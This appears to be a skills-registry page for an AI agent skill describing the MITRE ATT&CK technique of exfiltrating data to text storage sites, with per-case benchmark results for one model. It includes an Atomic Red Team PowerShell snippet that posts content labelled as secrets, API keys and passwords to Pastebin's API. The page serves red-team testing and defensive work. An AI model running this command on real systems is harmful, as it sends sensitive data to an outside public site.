Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel.
.claude/skills/cyberstrikeus-t1567-003-exfiltration-to-text-storage-sites/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-02 | ✗→✓ | ▲ Improved | 105% | 0% |
| case-03 | ✗→✓ | ▲ Improved | 39% | 0% |
| case-07 | ✗→✓ | ▲ Improved | 19% | 0% |
| case-12 | ✗→✓ | ▲ Improved | -44% | 0% |
| case-15 | ✗→✓ | ▲ Improved | -66% | 0% |
> Sub-technique of: T1567
Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin.]com</code>, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.
Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.
Platforms: Linux, macOS, Windows, ESXi
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin) See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
Supported Platforms: windows
powershell$apiKey = "#{api_key}" $content = "secrets, api keys, passwords..." $url = "https://pastebin.com/api/api_post.php" $postData = @{ api_dev_key = $apiKey api_option = "paste" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host "Your paste URL: $response"
If Atomic Red Team tests are not applicable, manually verify the technique by:
Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.
| Finding | Severity | Impact | | ------------------------------------------------------- | -------- | ------------ | | Exfiltration to Text Storage Sites technique applicable | Low | Exfiltration |
| CWE ID | Title | | ------- | --------------------------------- | | CWE-200 | Exposure of Sensitive Information |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-02 | fail→pass | 16,145 | 27,746 | +72% | 1 | 1 | 0% | 2,255 | 4,620 | +105% | 0 | 0 | — |
case-01 | fail→fail | 22,540 | 36,077 | +60% | 1 | 1 | 0% | 3,598 | 6,283 | +75% | 0 | 0 | — |
case-03 | fail→pass | 28,538 | 26,389 | -8% | 1 | 1 | 0% | 3,189 | 4,421 | +39% | 0 | 0 | — |
case-04 | pass→pass | 22,285 | 20,531 | -8% | 1 | 1 | 0% | 2,790 | 3,596 | +29% | 0 | 0 | — |
case-05 | pass→pass | 3,813 | 9,705 | +155% | 1 | 1 | 0% | 689 | 1,570 | +128% | 0 | 0 | — |
case-06 | pass→pass | 3,747 | 6,599 | +76% | 1 | 1 | 0% | 678 | 1,284 | +89% | 0 | 0 | — |
case-07 | fail→pass | 18,455 | 9,442 | -49% | 1 | 1 | 0% | 2,123 | 2,528 | +19% | 0 | 0 | — |
case-08 | pass→pass | 13,268 | 11,318 | -15% | 1 | 1 | 0% | 1,623 | 1,903 | +17% | 0 | 0 | — |
case-09 | pass→pass | 5,684 | 9,152 | +61% | 1 | 1 | 0% | 723 | 1,279 | +77% | 0 | 0 | — |
case-10 | pass→pass | 14,241 | 8,439 | -41% | 1 | 1 | 0% | 2,028 | 1,371 | -32% | 0 | 0 | — |
case-11 | pass→pass | 19,226 | 3,111 | -84% | 1 | 1 | 0% | 2,416 | 1,411 | -42% | 0 | 0 | — |
case-12 | fail→pass | 20,643 | 1,758 | -91% | 1 | 1 | 0% | 2,329 | 1,302 | -44% | 0 | 0 | — |
case-13 | pass→pass | 9,800 | 7,289 | -26% | 1 | 1 | 0% | 719 | 1,246 | +73% | 0 | 0 | — |
case-14 | pass→pass | 8,024 | 9,717 | +21% | 1 | 1 | 0% | 402 | 1,237 | +208% | 0 | 0 | — |
case-15 | fail→pass | 26,804 | 6,691 | -75% | 1 | 1 | 0% | 3,677 | 1,239 | -66% | 0 | 0 | — |
case-16 | pass→pass | 12,032 | 4,008 | -67% | 1 | 1 | 0% | 2,168 | 1,373 | -37% | 0 | 0 | — |
case-17 | fail→pass | 14,062 | 1,641 | -88% | 1 | 1 | 0% | 1,438 | 1,229 | -15% | 0 | 0 | — |
case-18 | pass→pass | 19,274 | 15,441 | -20% | 1 | 1 | 0% | 2,335 | 2,677 | +15% | 0 | 0 | — |
case-19 | pass→pass | 7,630 | 6,034 | -21% | 1 | 1 | 0% | 1,404 | 1,143 | -19% | 0 | 0 | — |
case-20 | fail→pass | 16,748 | 6,927 | -59% | 1 | 1 | 0% | 1,588 | 1,280 | -19% | 0 | 0 | — |
case-21 | pass→pass | 9,886 | 6,633 | -33% | 1 | 1 | 0% | 1,904 | 1,295 | -32% | 0 | 0 | — |
case-22 | pass→pass | 8,422 | 2,305 | -73% | 1 | 1 | 0% | 1,596 | 1,332 | -17% | 0 | 0 | — |
case-23 | pass→pass | 15,867 | 8,282 | -48% | 1 | 1 | 0% | 1,785 | 1,588 | -11% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +30 percentage points is the difference between those two pass rates over the 23 comparable cases.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.